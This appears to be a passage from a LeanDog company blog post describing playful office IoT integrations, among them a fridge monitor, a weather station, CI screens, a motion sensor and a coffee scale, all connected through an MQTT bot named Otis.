Okay, so we didn’t solve music anarchy — what we created is a Google Chrome plugin that scrapes the website and publishes the stations and current playing song. It subscribes to a control topic that allows playback control and changing stations.

By the end of all this, we could say “Alexa! Ask Otis what’s playing” or use Slack:

music

Other Integrations

The number of integrations we’ve built since then has exploded. Here are some of them:

A couple years back GE created this module for makers called Green Bean which can connect to the diagnostics port of some of their appliances. We just happened to have compatible appliances on the boat, so we ordered one and hooked it up to our fridge and a Raspberry Pi.

The status of the fridge is now published over MQTT, which allows us to create some alarms:

dooropen

And do some fun useless things:

peeonfloor

output_r86HqR

Weather Station

In the quest to attach all the things, we found that our weather station upstairs had a USB port! We attached yet another Raspberry Pi (we’ve got a lot of Raspberry Pis) and publish the data every few seconds. We also used the opportunity to script an integration with Wunderground — our station handle is KOHCLEVE65. Now we can ask Otis for the weather:

weather

CI Screen + Radiator

We have a couple radiators running on mounted TVs around LeanDog Studio, including a CI board and individual project radiators. All of those subscribe to a marquee topic, which allows us to display images and animated gifs for a set amount of time. For instance, when someone finishes off the coffee and doesn’t brew a new pot:

Screen Shot 2016-08-04 at 12.45.35 PM

Works In Progress

Motion Sensor

In the future hope that we’ll be able to play some music when the boat starts rocking, we started logging motion events on the boat. To do this, we employed the help of an ESP8266 module and a 9DOF sensor.

motionThis is a really cool module that uses several sensors including accelerometer, gyroscope, and magnetometer and outputs simple euler angles so we know our position and orientation in 3D space. Right now we’re just collecting data in Amazon DynamoDB — soon, we hope to trigger some interactions when the boat starts moving — maybe a dramamine dispenser?

Coffee Pot

Our own Steve Jackson is working on a connected coffee scale to let us know how much coffee is left in our carafes and when it’s time to brew a new pot. The proof-of-concept has been completed and soon we’ll be building two of them and installing them in the kitchen.

coffee

That’s it. Let’s polka!

Finally, every Friday morning after standup, we allocate a little time to cleaning up the boat. For historical reasons that no one quite remembers, we do this to polka music. Thanks to an integration with the Amazon Dash button, announcing cleanup is simpler than ever:

 

Developing an amazing technology product of your own? Take our 1-Minute self-assessment to make sure you’re project is on-track for a successful launch!  Or, reach out to us at LeanDog.com! We’d love to hear all about it!